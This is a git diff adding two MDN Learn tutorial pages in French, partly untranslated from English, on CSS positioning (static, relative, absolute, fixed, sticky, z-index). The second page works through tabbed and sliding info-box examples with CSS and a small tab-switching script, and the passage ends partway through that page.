+ + diff --git a/files/fr/learn/css/css_layout/positioning/index.html b/files/fr/learn/css/css_layout/positioning/index.html new file mode 100644 index 0000000000..54349c6fef --- /dev/null +++ b/files/fr/learn/css/css_layout/positioning/index.html @@ -0,0 +1,558 @@ +--- +title: Le positionnement +slug: Apprendre/CSS/CSS_layout/Le_positionnement +tags: + - Agencement + - Article + - CSS + - Codage de script + - Disposition + - Débutant + - Guide + - Mise en page + - Positionnement + - absolu + - fixe + - relatif + - statique +translation_of: Learn/CSS/CSS_layout/Positioning +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Apprendre/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}}
+ +

Le positionnement permet de sortir les éléments du cours normal de composition du document, et faire qu'ils se comportent différemment, par exemple de se placer sur un autre, ou de toujours rester à la même place dans le cadre d'affichage (viewport) du navigateur. Cet article explique les diverses valeurs de {{cssxref("position")}}, et comment les utiliser.

+ + + + + + + + + + + + +
Prérequis:Les fondamentaux du HTML (étudiez Introduction au HTML), et une idée du fonctionnement de CSS (étudiez Introduction à CSS.)
Objectif:Savoir comment fonctionne le positionnement avec les CSS.
+ +

Nous aimerions que vous suiviez, si possible, les exercices sur votre ordinateur — prenez une copie de 0_basic-flow.html sur le dépôt Github (code source ici) et utilisez-le comme point de départ.

+ +

Introduction au positionnement

+ +

Le positionnement permet de modifier le cours classique de la mise en page pour produire des effets intéressants. Vous souhaitez modifier légèrement le placement de boîtes par rapport à leur position par défaut dans la mise en page, et donner ainsi une touche d'originalité à votre page ? Vous souhaitez créer un élément d'interface utilisateur flottant au‑dessus d'autres parties de la page, et/ou que cet élément reste fixé à la même place dans la fenêtre du navigateur, quel que soit le point de défilement de la page ? Le positionnement est l'outil qu'il vous faut, il rend de tels agencements possibles.

+ +

Il y a différents types de positionnement que vous pouvez appliquer à des éléments HTML. Pour utiliser un type particulier de positionnement sur un élément, nous utilisons la propriété {{cssxref("position")}}.

+ +

Positionnement « static »

+ +

Le positionnement static est celui reçu par défaut par chaque élément — cela veut tout simplement dire « positionner l'élément selon le cours normal de placement — rien de spécial à voir ici ».

+ +

Pour le démontrer et avoir préparer un premier exemple pour les prochaines sections, ajoutez tout d'abord une classe positioned pour le deuxième {{htmlelement("p")}} dans le HTML:

+ +
<p class="positioned"> ... </p>
+ +

Puis ajoutez la règle suivante au bas de votre CSS:

+ +
.positioned {
+  position: static;
+  background: yellow; }
+ +

Si maintenant vous sauvegardez et actualisez, vous verrez qu'il n'y a aucune différence, à l'exception de la mise à jour de la couleur de l'arrière-plan du deuxième paragraphe. C'est correct, comme nous l'avons vu plus tôt, le positionnement statique est le comportement par défaut !

+ +
+

Remarque : ce lien 1_static-positioning.html (voir le code source) pointe sur un exemple de positionnement « static ».

+
+ +

Positionnement « relative »

+ +

Le positionnement relatif est le premier type de positionnement que nous allons étudier. Il est très similaire au positionnement statique. Cependant, une fois que l'élément positionné occupe une place dans le cours normal de la mise en page, vous pourrez modifier sa position finale. Vous pourrez par exemple le faire chevaucher d'autres éléments de la page. Poursuivons : mettez à jour la déclaration de position dans le code :

+ +
position: relative;
+ +

Si vous sauvegardez et actualisez à ce stade, vous ne verrez aucun changement dans le résultat. Alors, comment modifier la position de l'élément ? Vous avez besoin d'employer les propriétés {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} dont nous parlerons dans le prochain paragraphe.

+ +

Présentation de « top », « bottom », « left » et « right »

+ +

{{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} sont utilisés conjointement à {{cssxref("position")}} pour définir exactement là où placer l'élément positionné. Pour le tester, ajoutez les déclarations suivantes à la règle .positioned dans la CSS :

+ +
top: 30px;
+left: 30px;
+ +
+

Remarque : les valeurs de ces propriétés peuvent prendre n'importe quelle unité logiquement attendue — pixels, mm, rem, %, etc.

+
+ +

Si vous enregistrez et actualisez maintenant, vous verrez ce résultat :

+ +
+ +
+ +

{{ EmbedLiveSample('example_1', '100%', 500) }}

+ +

Cool, n'est-ce-pas ? Oui, mais ce n'était probablement pas ce à quoi vous vous attendiez. Pourquoi le déplacement s'est‑il effectué vers le bas et à droite si nous avons défini top (haut) et left (gauche) ? Même si cela peut paraître illogique, c'est la façon dont fonctionne le positionnement relatif. Songez à une force invisible poussant le côté spécifié de l'élément à positionner, le déplaçant ainsi dans la direction opposé. Par exemple, si nous spécifions top: 30px;, une force pousse le haut de la boîte, entraînant son déplacement vers le bas de 30px.

+ +
+

Remarque: à ce stade de l'article, vous pouvez retrouver un exemple ici 2_relative-positioning.html (voir le code source).

+
+ +

Positionnement « absolute »

+ +

Le positionnement absolu nous apporte des résultats bien différents. Modifions la déclaration de position dans le code :

+ +
position: absolute;
+ +

Si vous enregistrez et actualisez maintenant, vous verrez quelque chose comme ceci apparaitre :

+ +
+ +
+ +

{{ EmbedLiveSample('example_2', '100%', 420) }}

+ +

Tout d'abord, notez que l'emplacement où l'élément à positionner aurait dû se trouver dans le cours normal de la mise en page du document ne s'y trouve plus. Le premier élément et le troisième sont l'un à côté de l'autre comme si le second n'existait plus ! Dans un sens, c'est le cas. Un élément positionné de manière absolue ne fait plus partie du cours normal de la mise en page. Il se trouve maintenant sur un plan qui lui est propre, séparé de tout le reste. C'est très utile : cela signifie que nous pouvons créer une fonctionnalité d'interface graphique isolée qui n'interfère pas avec la position des autres éléments sur la page. Par exemple, des boîtes d'informations contextuelles (popup), des menus de contrôle, des panneaux déroulants (rollover panels), des fonctionnalités d'interface utilisateur que l'on peut glisser et déposer n'importe où sur la page, et bien plus encore.

+ +

Ensuite, notez que la position de l'élément a changé. {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} se comportent différemment avec le positionnement absolu. Au lieu de positionner l'élément en fonction de sa position relative dans la mise en page du document, ils définissent la distance à laquelle l'élément doit se situer par rapport aux côtés de l'élément contenant. Dans ce cas, nous indiquons que l'élément à positionner de manière absolue doit se placer à 30px du haut et à 30px de la gauche de « l'élément conteneur ». (Dans ce cas, le bloc conteneur initial. Voir la section ci-dessous pour plus d'information)

+ +
+

Note : vous pouvez utiliser {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} pour redimensionner les éléments selon vos besoins. Définissez top: 0; bottom: 0; left: 0; right: 0; et margin: 0; sur les éléments à positionner et voyez ce qu'il se produit ! Réinitialisez le tout ensuite...

+
+ +
+

Note : Les marges affectent toujours les éléments à positionner. Toutefois, la fusion de marges ne se fait pas.

+
+ +
+

Note : à ce stade de l'article, vous pouvez voir un exemple ici 3_absolute-positioning.html (voir le code source).

+
+ +

Contextes de positionnement

+ +

Quel élément est « le conteneur » d'un élément positionné de manière absolue ? Par défaut, c'est l'élément {{htmlelement("html")}} — l'élément à position absolue est imbriqué dans l'élément {{htmlelement("body")}} dans le code source HTML, mais dans le rendu final, il est éloigné de 30px du haut et de la gauche du bord de page, qui est l'élément {{htmlelement("html")}}. Cela s'appelle plus précisément le contexte de positionnement de l'élément.

+ +

Nous pouvons changer ce contexte de positionnement — par rapport à quel élément est placé l'élément à positionner en absolu. Cela s'effectue en définissant le positionnement sur un des autres éléments parents — un des éléments dans lequel il est imbriqué (vous ne pouvez pas le positionner par rapport à un élément dans lequel il n'est pas imbriqué). Pour l'illustrer, ajoutez la déclaration suivante à la règle body:

+ +
position: relative;
+ +

Cela devrait donner le résultat suivant:

+ +
+ +
+ +

{{ EmbedLiveSample('example_3','100%', 420) }}

+ +

À présent, l'élément a été positionné par rapport à l'élément {{htmlelement("body")}}.

+ +
+

Note : à ce stade, vous pouvez voir cet exemple ici 4_positioning-context.html (voir le code source).

+
+ +

Présentation du z-index

+ +

Tout ce positionnement absolu est amusant, mais il y a autre chose que nous n'avons pas encore considéré — quand les éléments se chevauchent, comment est déterminé l'élément apparaissant au-dessus d'un autre ? Dans les exemples vus jusqu'à présent, nous n'avions qu'un seul élément à positionner dans le contexte ; il apparaissait en haut, car les éléments positionnés l'emportent sur les éléments non positionnés. Qu'en est‑il lorsqu'il y en a plus d'un ?

+ +

Ajoutez le code suivant à la CSS, pour faire en sorte que le premier paragraphe soit aussi en positionnement absolu :

+ +
p:nth-of-type(1) {
+  position: absolute;
+  background: lime;
+  top: 10px;
+  right: 30px;
+}
+ +

A ce stade, vous verrez le premier paragraphe coloré en vert, déplacé hors du cours normal des documents et positionné un peu au-dessus de l'endroit où il se trouvait à l'origine. Il est également empilé sous le paragraphe .positioned original, là où les deux se chevauchent. C'est parce que le paragraphe .positioned est le deuxième paragraphe dans l'ordre du code source ; les éléments positionnés en dernier dans l'ordre du code source l'emportent sur les éléments positionnés plus en amont dans l'ordre du code source.

+ +

Est‑il possible de changer l'ordre d'empilement ? Oui, vous le pouvez avec la propriété {{cssxref("z-index")}}. « z-index » est une référence à l'axe z. Vous vous souvenez peut-être de points précédents du source où nous avons discuté des pages Web en utilisant des coordonnées horizontales (axe des x) et verticales (axe des y) pour déterminer le positionnement de choses comme les images de fond et les décalages d'ombres portées. (0,0) est en haut à gauche de la page (ou de l'élément), et les axes x et y vont respectivement vers la droite et vers le bas de la page (pour les langues s'écrivant de gauche à droite, en tout cas).

+ +

Les pages Web ont aussi un axe z : une ligne imaginaire qui va de la surface de votre écran, vers votre visage (ou tout ce que vous aimez avoir devant l'écran). Les valeurs de {{cssxref("z-index")}}} affectent l'emplacement des éléments positionnés sur cet axe ; les valeurs positives les déplacent vers le haut de la pile, et les valeurs négatives les déplacent vers le bas de la pile. Par défaut, les éléments positionnés ont tous un z-index  auto, qui est effectivement 0.

+ +

Pour modifier l'ordre d'empilement, ajoutez la déclaration suivante à la règle p:nth-of-type(1) :

+ +
z-index: 1;
+ +

Voici maintenant l'exemple terminé :

+ +
+ +
+ +

{{ EmbedLiveSample('example_4', '100%', 400) }}

+ +

Notez que z-index n'accepte que des valeurs d'index sans unité ; vous ne pouvez pas préciser que vous voulez qu'un élément soit à 23 pixels sur l'axe des z — cela ne fonctionne pas ainsi. Les plus grandes valeurs vont au‑dessus des valeurs plus faibles et c'est à vous d'indiquer les valeurs. Utiliser 2 et 3 aura le même effet que 300 et 40000.

+ +
+

Note : sur ce sujet, vous pouvez voir l'exemple 5_z-index.html (voir le code source).

+
+ +

Positionnement « fixed »

+ +

Voyons maintenant le positionnement « fixed ». Cela fonctionne exactement de la même manière que le positionnement absolu, avec une différence essentielle : alors que le positionnement absolu fixe un élément en place par rapport à l'élément {{htmlelement("html")}} ou son parent positionné le plus proche, le positionnement « fixed » fige un élément en place par rapport à la vue par la fenêtre du navigateur elle-même. Cela signifie que vous pouvez créer des éléments d'interface utilisateur utiles qui sont fixés en place, comme des menus de navigation persistants.

+ +

Voici un exemple simple pour montrer ce que nous voulons dire. D'abord, supprimez la règle de p:nth-of-type(1) et .positioned de la CSS.

+ +

Maintenant, mettez à jour la règle body : supprimez la déclaration position : relative ; et ajoutez une hauteur fixe, ainsi :

+ +
body {
+  width: 500px;
+  height: 1400px;
+  margin: 0 auto;
+}
+ +

Maintenant, donnez la position fixed à l'élément {{htmlelement("h1")}} et centrez‑le en haut de la fenêtre. Ajoutez la règle suivante à la CSS :

+ +
h1 {
+  position: fixed;
+  top: 0;
+  width: 500px;
+  margin: 0 auto;
+  background: white;
+  padding: 10px;
+}
+ +

top: 0; est requis pour qu'il colle au haut de l'écran ; ensuite nous donnons au titre d'en‑tête la même largeur que la colonne de contenu et utilisons la vieille astuce classique margin: 0 auto; pour le centrer. Nous mettons ensuite un fond blanc et un peu de remplissage pour que le contenu ne soit pas visible sous lui.

+ +

Si vous enregistrez et actualisez maintenant, vous verrez un petit effet amusant par lequel le titre reste fixe et le contenu semble défiler vers le haut et disparaître en dessous. Mais nous pouvons l'améliorer davantage — actuellement, une partie du contenu commence sous l'en‑tête. En effet, l'en-tête positionné n'apparaît plus dans le cours du document, de sorte que le reste du contenu se déplace vers le haut. Nous devons tout baisser un peu ; nous pouvons le faire en fixant une marge supérieure sur le premier paragraphe. Ajoutez ceci maintenant :

+ +
p:nth-of-type(1) {
+  margin-top: 60px;
+}
+ +

Voici l'exemple terminé :

+ +
+ +
+ +

{{ EmbedLiveSample('example_5', '100%', 400) }}

+ +
+

Note : à ce stade de l'article, vous pouvez voir un exemple en direct ici  6_fixed-positioning.html (voir le code source).

+
+ +

« position: sticky »

+ +

Il y a une autre valeur de positionnement disponible appelée position : sticky. Elle est un peu plus récente que les autres. Il s'agit essentiellement d'un hybride entre position relative et position fixe : l'élément à positionner est en positionnement relatif jusqu'à un certain seuil (par ex. 10px du haut de la fenêtre), seuil au delà duquel il est en positionnement fixe. Ce positionnement s'utilise par exemple pour faire défiler une barre de navigation avec la page jusqu'à un certain point et ensuite coller en haut de la page.

+ +
+ + +
.positioned {
+  position: sticky;
+  top: 30px;
+  left: 30px;
+}
+
+ +

{{ EmbedLiveSample('Sticky_1', '100%', 200) }}

+ +

Une utilisation courante pleine d'intérêt de position: sticky permet de créer une page d'index déroulante dans laquelle les divers en‑tête restent collés en haut de la page une fois qu'ils l'ont atteint. Le balisage d'un exemple de ce type ressemble à ceci :

+ +
<h1>Positionnement collant</h1>
+
+<dl>
+    <dt>A</dt>
+    <dd>Abeille</dd>
+    <dd>Abricot</dd>
+    <dd>Altimètre</dd>
+    <dd>Avion</dd>
+    <dt>B</dt>
+    <dd>Banane</dd>
+    <dd>Betterave</dd>
+    <dd>Bœuf</dd>
+    <dd>Bouvreuil</dd>
+    <dd>Buzzard</dd>
+    <dt>C</dt>
+    <dd>Calculateur</dd>
+    <dd>Camera</dd>
+    <dd>Cane</dd>
+    <dd>Chameau</dd>
+    <dt>D</dt>
+    <dd>Dime</dd>
+    <dd>Dindon</dd>
+    <dd>Drapeau</dd>
+    <dd>Drone</dd>
+    <dt>E</dt>
+    <dd>Eau</dd>
+    <dd>Éléphant</dd>
+    <dd>Escadrille</dd>
+</dl>
+
+ +

Le CSS pourrait ressembler à ce qui suit. Dans le cours normal, les éléments {{htmlelement("dt")}} défilent avec le contenu. Quand on ajoute position : sticky à l'élément {{htmlelement("dt")}} avec une valeur {{cssxref("top")}} de 0, les navigateurs prenant en charge ce positionnement colleront les titres au sommet de la vue de la fenêtre au fur et à mesure qu'ils atteignent cette position. Chaque en-tête suivant remplacera l'en-tête précédent au fur et à mesure que le contenu défile.

+ +
dt {
+  background-color: black;
+  color: white;
+  padding: 10px;
+  position: sticky;
+  top: 0;
+  left: 0;
+  margin: 1em 0;
+}
+
+ +
+ +
+ +

{{ EmbedLiveSample('Sticky_2', '100%', 200) }}

+ +
+

Note : à ce stade de l'article, vous pouvez voir un exemple en direct ici 7_sticky-positioning.html (voir le code source).

+
+ +

Résumé

+ +

Je suis sûr que vous avez eu du plaisir à jouer avec le positionnement de base ; bien que ce ne soit pas une méthode à utiliser pour des mises en page complètes, comme vous pouvez le voir il y a beaucoup de tâches pour lesquelles il est adapté.

+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}}

+ +

Voir aussi

+ + + +

Dans ce module

+ + diff --git a/files/fr/learn/css/css_layout/practical_positioning_examples/index.html b/files/fr/learn/css/css_layout/practical_positioning_examples/index.html new file mode 100644 index 0000000000..da821fefd1 --- /dev/null +++ b/files/fr/learn/css/css_layout/practical_positioning_examples/index.html @@ -0,0 +1,407 @@ +--- +title: Exemples pratiques de positionnement +slug: Apprendre/CSS/CSS_layout/Exemples_pratiques_de_positionnement +translation_of: Learn/CSS/CSS_layout/Practical_positioning_examples +--- +
{{LearnSidebar}}
+ +


+ Cet article montre comment construire quelques exemples réels de choses que vous pouvez faire avec le positionnement.

+ + + + + + + + + + + + +
Prérequis:Les bases du HTML (étudier Introduction au HTML), et une idée du fonctionnement du CSS (étudier Introduction au CSS.)
Objectif:Avoir une idée des aspects pratiques du positionnement
+ +

Une boîte d'information à onglets

+ +

Le premier exemple que nous allons examiner est une boîte d'information à onglets classique - une fonction très courante utilisée lorsque vous voulez regrouper beaucoup d'informations dans une petite zone. Cela inclut les applications gourmandes en informations comme les jeux de stratégie/guerre, les versions mobiles de sites Web où l'écran est étroit et l'espace limité, et les boîtes d'information compactes où vous pourriez vouloir rendre beaucoup d'informations disponibles sans qu'elles remplissent toute l'interface utilisateur. Notre exemple simple ressemblera à ceci une fois que nous aurons terminé :

+ +

+ +
+

Note: You can see the finished example running live at info-box.html (source code). Check it out to get an idea of what you will be building in this section of the article.

+
+ +

Vous pourriez vous dire "pourquoi ne pas créer des onglets séparés sous forme de pages web séparées, et faire en sorte que les onglets permettent de cliquer sur les pages séparées pour créer l'effet ?" Ce code serait plus simple, oui, mais alors chaque "page" séparée serait en fait une nouvelle page web, ce qui rendrait plus difficile la sauvegarde des informations entre les vues, et intégrerait cette fonctionnalité dans un design d'interface plus large. De plus, les applications dites " à page unique " deviennent très populaires - en particulier pour les interfaces Web mobiles - parce que le fait que tout soit servi dans un seul fichier réduit le nombre de requêtes HTTP nécessaires pour voir tout le contenu, ce qui améliore les performances.

+ +
+

Note: Some web developers take things even further, only having one page of information loaded at once, and dynamically changing the information shown using a JavaScript feature such as XMLHttpRequest. At this point in your learning however we want to keep things as simple as possible. There is some JavaScript later on, but only a tiny bit.

+
+ +

Pour commencer, nous aimerions que vous fassiez une copie locale du fichier HTML de départ — info-box-start.html. Enregistrez ce fichier dans un endroit approprié sur votre ordinateur et ouvrez-le dans votre éditeur de texte. Examinons le HTML contenu dans le body:

+ +
<section class="info-box">
+  <ul>
+    <li><a href="#" class="active">Tab 1</a></li>
+    <li><a href="#">Tab 2</a></li>
+    <li><a href="#">Tab 3</a></li>
+  </ul>
+  <div class="panels">
+    <article class="active-panel">
+      <h2>The first tab</h2>
+
+      <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. Vestibulum et orci scelerisque, vulputate tellus quis, lobortis dui. Vivamus varius libero at ipsum mattis efficitur ut nec nisl. Nullam eget tincidunt metus. Donec ultrices, urna maximus consequat aliquet, dui neque eleifend lorem, a auctor libero turpis at sem. Aliquam ut porttitor urna. Nulla facilisi.</p>
+    </article>
+    <article>
+      <h2>The second tab</h2>
+
+      <p>This tab hasn't got any Lorem Ipsum in it. But the content isn't very exciting all the same.</p>
+    </article>
+    <article>
+      <h2>The third tab</h2>
+
+      <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. And now an ordered list: how exciting!</p>
+
+      <ol>
+        <li>dui neque eleifend lorem, a auctor libero turpis at sem.</li>
+        <li>Aliquam ut porttitor urna.</li>
+        <li>Nulla facilisi</li>
+      </ol>
+    </article>
+  </div>
+</section>
+ +

Nous avons un élément {{htmlelement("section")}}  avec une class  info-box, qui contient une {{htmlelement("ul")}} et une {{htmlelement("div")}}. La liste non ordonnée contient trois éléments de liste avec des liens à l'intérieur, qui deviendront les véritables onglets sur lesquels il faudra cliquer pour afficher nos panneaux de contenu. la div contient trois éléments {{htmlelement("article")}} , qui constitueront les panneaux de contenu correspondant à chaque onglet. Chaque panneau contient un échantillon de contenu.

+ +

L'idée ici est que nous allons donner aux onglets l'aspect d'un menu de navigation horizontal standard, et que nous allons donner aux panneaux l'aspect d'être superposés en utilisant un positionnement absolu. Nous vous donnerons également un peu de JavaScript à inclure dans votre page pour afficher le panneau correspondant lorsqu'un onglet est pressé, et nous donnerons un style à l'onglet lui-même. Vous n'aurez pas besoin de comprendre le JavaScript lui-même à ce stade, mais vous devriez penser à apprendre quelques bases de JavaScript dès que possible - plus les fonctionnalités de votre interface utilisateur deviennent complexes, plus il est probable que vous aurez besoin de JavaScript pour implémenter les fonctionnalités souhaitées.

+ +

General setup

+ +

To begin with, add the following between your opening and closing {{HTMLElement("style")}} tags:

+ +
html {
+  font-family: sans-serif;
+}
+
+* {
+  box-sizing: border-box;
+}
+
+body {
+  margin: 0;
+}
+ +

This is just some general setup to set a sans-serif font on our page, use the border-box {{cssxref("box-sizing")}} model, and get rid of the default {{htmlelement("body")}} margin.

+ +

Next, add the following just below your previous CSS:

+ +
.info-box {
+  width: 450px;
+  height: 400px;
+  margin: 0 auto;
+}
+ +

This sets a specific width and height on the content, and centers it on the screen using the old margin: 0 auto trick. Previously in the course we advised against setting a fixed height on content containers if at all possible; it is ok in this circumstance because we have fixed content in our tabs. It also looks a bit jarring to have different tabs at different heights.

+ +

Styling our tabs

+ +

Now we want to style tabs to look like tabs — basically, these are a horizontal navigation menu, but instead of loading different web pages when they are clicked on like we've seen previously in the course, they cause different panels to be displayed on the same page. First, add the following rule at the bottom of your CSS to remove the default {{cssxref("padding-left")}} and {{cssxref("margin-top")}} from the unordered list:

+ +
.info-box ul {
+  padding-left: 0;
+  margin-top: 0;
+}
+ +
+

Note: We are using descendant selectors with .info-box at the start of the chain throughout this example — this is so that we can insert this feature into a page with other content already on it, without fear of interfering with the styles applied to other parts of the page.

+
+ +

Next, we'll style the horizontal tabs — the list items are all floated left to make them sit in a line together, their {{cssxref("list-style-type")}} is set to none to get rid of the bullets, and their {{cssxref("width")}} is set to 150px so they will comfortably fit across the info-box. The {{htmlelement("a")}} elements are set to {{cssxref("display")}} inline-block so they will sit in a line but still be stylable, and they are styled appropriately for tab buttons, using a variety of other properties.

+ +

Add the following CSS:

+ +
.info-box li {
+  float: left;
+  list-style-type: none;
+  width: 150px;
+}
+
+.info-box li a {
+  display: inline-block;
+  text-decoration: none;
+  width: 100%;
+  line-height: 3;
+  background-color: red;
+  color: black;
+  text-align: center;
+}
+ +

Finally for this section we'll set some styles on the link states. First, we'll set the :focus and :hover states of the tabs to look different when they are focused/hovered, providing users with some visual feedback. Secondly, we'll set a rule that puts the same styling on one of the tabs when a class of active is present on it. We will set this using JavaScript when a tab is clicked on. Place the following CSS below your other styles:

+ +
.info-box li a:focus, .info-box li a:hover {
+  background-color: #a60000;
+  color: white;
+}
+
+.info-box li a.active {
+  background-color: #a60000;
+  color: white;
+}
+ +

Styling the panels

+ +

The next job is to style our panels. Let's get going!

+ +

First, of all, add the following rule to style the .panels {{htmlelement("div")}} container. Here we simply set a fixed {{cssxref("height")}} to make sure the panels fit snugly inside the info-box, {{cssxref("position")}} relative to set the {{htmlelement("div")}} as the positioning context, so you can then place positioned child elements relative to it and not the {{htmlelement("html")}} element, and finally we {{cssxref("clear")}} the float set in the CSS above so that it doesn't interfere with the remainder of the layout.

+ +
.info-box .panels {
+  height: 352px;
+  position: relative;
+  clear: both;
+}
+ +

Finally for this section, we will style the individual {{htmlelement("article")}} elements that comprise our panels. The first rule we'll add will absolutely {{cssxref("position")}} the panels, and make them all sit flush to the {{cssxref("top")}} and {{cssxref("left")}} of their {{htmlelement("div")}} container — this part is absolutely key to this whole layout feature, as it makes the panels sit on top of one another. The rule also gives the panels the same set height as the container, and gives the content some padding, a text {{cssxref("color")}}, and a {{cssxref("background-color")}}.

+ +

The second rule we'll add here makes it so that a panel with a class of active-panel set on it will have a {{cssxref("z-index")}} of 1 applied to it, which will make it sit above the other panels (positioned elements have a z-index of 0 by default, which would put them below). Again, we'll add this class using JavaScript at the appropriate time.

+ +
.info-box article {
+  position: absolute;
+  top: 0;
+  left: 0;
+  height: 352px;
+  padding: 10px;
+  color: white;
+  background-color: #a60000;
+}
+
+.info-box .active-panel {
+  z-index: 1;
+}
+ +

Adding our JavaScript

+ +

The final step to getting this feature working is to add some JavaScript. Put the following block of code, exactly as written in between your opening and closing {{htmlelement("script")}} tags (you'll find these below the HTML content):

+ +
var tabs = document.querySelectorAll('.info-box li a');
+var panels = document.querySelectorAll('.info-box article');
+
+for(i = 0; i < tabs.length; i++) {
+  var tab = tabs[i];
+  setTabHandler(tab, i);
+}
+
+function setTabHandler(tab, tabPos) {
+  tab.onclick = function() {
+    for(i = 0; i < tabs.length; i++) {
+      tabs[i].className = '';
+    }
+
+    tab.className = 'active';
+
+    for(i = 0; i < panels.length; i++) {
+      panels[i].className = '';
+    }
+
+    panels[tabPos].className = 'active-panel';
+  }
+}
+ +

This code does the following:

+ +
    +
  • First we save a reference to all the tabs and all the panels in two variables called tabs and panels, so we can easily do things to them later on.
    • +
  • Then we use a for loop to cycle through all the tabs and run a function called setTabHandler() on each one, which sets up the functionality that should occur when each one is clicked on. When run, the function is passed a reference to the particular tab it is being run for, and an index number i that indentifies the tab's position in the tabs array.
    • +
  • In the setTabHandler() function, the tab has an onclick event handler set on it, so that when the tab is clicked, the following occurs: +
      +
    • A for loop is used to cycle through all the tabs and remove any classes that are present on them.
      • +
    • A class of active is set on the tab that was clicked on — remember from earlier that this class has an associated rule in the CSS that sets the same {{cssxref("color")}} and {{cssxref("background-color")}} on the tab as the panels are styled with.
      • +
    • A for loop is used to cycle through all the panels and remove any classes that are present on them.
      • +
    • A class of active-panel is set on the panel that corresponds to the tab that was clicked on — remember from earlier that this class has an associated rule in the CSS that sets its {{cssxref("z-index")}} to 1, making it appear over the top of the other panels.
      • +
    +
    • +
+ +

That's it for the first example. Keep your code open, as we'll be adding to it in the second one.

+ +

A fixed position tabbed info-box

+ +

In our second example, we will take our first example — our info-box — and add it into the context of a full web page. But not only that — we'll give it fixed position so that it stays in the same position in the browser window. When the main content scrolls, the info-box will stay in the same position on the screen. Our finished example will look like this:

+ +

+ +
+

Note: You can see the finished example running live at fixed-info-box.html (source code). Check it out to get an idea of what you will be building in this section of the article.

+
+ +

As a starting point, you can use your completed example from the first section of the article, or make a local copy of info-box.html from our Github repo.

+ +

HTML additions

+ +

First of all, we need some additional HTML to represent the web site main content. Add the following {{htmlelement("section")}} just below your opening {{htmlelement("body")}} tag, just before the existing section:

+ +
<section class="fake-content">
+  <h1>Fake content</h1>
+  <p>This is fake content. Your main web page contents would probably go here.</p>
+  <p>This is fake content. Your main web page contents would probably go here.</p>
+  <p>This is fake content. Your main web page contents would probably go here.</p>
+  <p>This is fake content. Your main web page contents would probably go here.</p>
+  <p>This is fake content. Your main web page contents would probably go here.</p>
+  <p>This is fake content. Your main web page contents would probably go here.</p>
+  <p>This is fake content. Your main web page contents would probably go here.</p>
+  <p>This is fake content. Your main web page contents would probably go here.</p>
+</section>
+ +
+

Note: You can feel free to change the fake content for some real content if you like.

+
+ +

Changes to the existing CSS

+ +

Next we need to make some small changes to the existing CSS, to get the info-box placed and positioned. Change your .info-box rule to get rid of margin: 0 auto; (we no longer want the info-box centered), add {{cssxref("position")}}: fixed;, and stick it to the {{cssxref("top")}} of the browser viewport.

+ +

It should now look like this:

+ +
.info-box {
+  width: 450px;
+  height: 400px;
+  position: fixed;
+  top: 0;
+}
+ +

Styling the main content

+ +

The only thing left for this example is to provide the main content with some styling. Add the following rule underneath the rest of your CSS:

+ +
.fake-content {
+  background-color: #a60000;
+  color: white;
+  padding: 10px;
+  height: 2000px;
+  margin-left: 470px;
+}
+ +

To start with, we give the content the same {{cssxref("background-color")}}, {{cssxref("color")}}, and {{cssxref("padding")}} as the info-box panels. We then give it a large {{cssxref("margin-left")}} to move it over to the right, making space for the info-box to sit in, so it is not overlapping anything else.

+ +

This marks the end of the second example; we hope you'll find the third just as interesting.

+ +

A sliding hidden panel

+ +

The final example we'll present here is a panel that slides on and off the screen at the press of an icon — as mentioned earlier, this is popular for situations like mobile layouts, where the available screen spaces is small, so you don't want to use up most of it by showing a menu or info panel instead of the useful content.

+ +

Our finished example will look like this:

+ +

+ +
+

Note: You can see the finished example running live at hidden-info-panel.html (source code). Check it out to get an idea of what you will be building in this section of the article.

+
+ +

As a starting point, make a local copy of hidden-info-panel-start.html from our Github repo. This doesn't follow on from the previous example, so a fresh start file is required. Let's have a look at the HTML in the file:

+ +
<label for="toggle">❔</label>
+<input type="checkbox" id="toggle">
+<aside>
+
+  ...
+
+</aside>
+ +

To start with here we've got a {{htmlelement("label")}} element and an {{htmlelement("input")}} element — <label> elements are normally used to associate a text label with a form element for accessibility purposes (allowing a screen user to see what description goes with what form element). Here it is associated with the <input> checkbox using the for and id attributes.

+ +
+

Note: We've put a special question mark character into our HTML to act as our info icon — this represents the button that will be pressed to show/hide the panel.

+
+ +

Here we are going to use these elements for a slightly different purpose — another useful side effect of <label> elements is that you can click a checkbox's label to check the checkbox, as well as just the checkbox itself. This has led to the well-known checkbox hack, which provides a JavaScript-free way of controlling an element by toggling a button. The element we'll be controlling is the {{htmlelement("aside")}} element that follows the other two (we've left its contents out of the above code listing for brevity).

+ +

In the below sections we'll explain how this all works.

+ +

Styling the form elements

+ +

First let's deal with the form elements — add the following CSS in between your {{htmlelement("style")}} tags:

+ +
label[for="toggle"] {
+  font-size: 3rem;
+  position: absolute;
+  top: 4px;
+  right: 5px;
+  z-index: 1;
+  cursor: pointer;
+}
+
+input[type="checkbox"] {
+  position: absolute;
+  top: -100px;
+}
+ +

The first rule styles the <label>; here we've:

+ +
    +
  • Set a large {{cssxref("font-size")}} to make the icon nice and big.
    • +
  • Set {{cssxref("position")}} absolute on it, and used {{cssxref("top")}} and {{cssxref("right")}} to position it nicely in the top-right corner.
    • +
  • Set a {{cssxref("z-index")}} of 1 on it — this is so that when the info panel is styled and shown, it doesn't cover up the icon; instead the icon will sit on top of it so it can be pressed again to hide the info pane.
    • +
  • Used the {{cssxref("cursor")}} property to change the mouse cursor when it is hovering over the icon to a hand pointer (like the one you see when links are hovered over), as an extra visual clue to users that the icon does something interesting.
    • +
+ +

The second rule sets {{cssxref("position")}} absolute on the actual checkbox <input> element, and hides it off the top of the screen. We don't actually want to see this on our UI.

+ +

Styling the panel

+ +

Now it's time to style the actual sliding panel itself. Add the following rule to the bottom of your CSS:

+ +
